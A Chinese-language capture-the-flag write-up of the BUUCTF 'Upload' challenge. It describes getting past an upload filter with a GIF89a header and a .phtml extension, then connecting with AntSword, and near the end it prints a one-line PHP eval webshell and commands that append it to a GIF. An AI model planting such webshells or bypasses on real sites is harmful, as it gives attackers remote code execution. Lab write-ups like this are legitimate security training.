【BUUCTF-Web】[极客大挑战 2019]Upload

1,119 阅读2分钟

0x01 Subject

Upload => 文件上传漏洞


0x02 Mind Palace

进入界面看见有文件上传的地方

真·上传一个图片文件试试:

emm == 稍微有点尴尬

查看网页源码,找到前端表单:

尝试一句话木马的Payload如下:

反馈如下:

有过滤机制存在,猜测对文件的内容也进行了检查;尝试使用文件幻术头绕过;

JEPG文件文件头:FF D8 FF

反馈如下:

可以得出结论对前端js代码也对文件名也有过滤;措施:重新上传后缀名符合图片标准的文件,BP抓包,修改文件后缀名字:

.php .php2 .php3均无法绕过;尝试.phtml发现此后缀名可绕过

反馈:依旧是被过滤;尝试其他文件幻术头,并重复上述操作;PNG文件头:89 50 4E 47,GIF文件头标志位:47 49 46 38 39 61

在这里我发现了一个问题:那就是在文件中写入的时候,不能直接输入例如47 49 46 38 39 61这样一串数字,因为这个文件头是在二进制转换为十六进制的样子,需要再把其翻译为ASCII码的内容放在文件的最前面;

重新制作文件幻术头,后重复上述操作 => 结果是JPEG和PNG格式幻术头均无效,GIF幻术头有效。

接下来的问题就是找到上传文件的路径并成功访问 => 一般性猜测 => url/upload下存放着上传的文件 => 访问url/upload/py.phtml => 成功访问;

后续的步骤就是用AntSword连接shell并找到flag文件了。

=== === === === === === === === === === === ===

试错过程结束;以下为真 · 解法过程

=== === === === === === === === === === === ===

Procedure

  1. 准备.gif文件,并在文件最前方添加GIF文件头GIF89a

  1. 提交此文件,BP抓包截取后,修改文件名为py.phtml

  1. 点击forward后,成功上传文件

  1. 猜测上传文件的路径

  1. 使用AntSword连接shell,找到flag文件


0x03 Look Ahead

发散思维:不用构造文件幻术头的方式,用拼接文件的方式能成功绕过后端的内容检查吗?

echo "<script language="php">eval($_POST["shell"]);</script>" > payload.txt
cat payload.txt >> gif.gif
tail -n 1 gif.gif

反馈;;失败了:

虽然没有什么用处 ;; 但是从抓的包中发现了GIF文件头确实是GIF89a


END (๑•̀ㅂ•́)و✧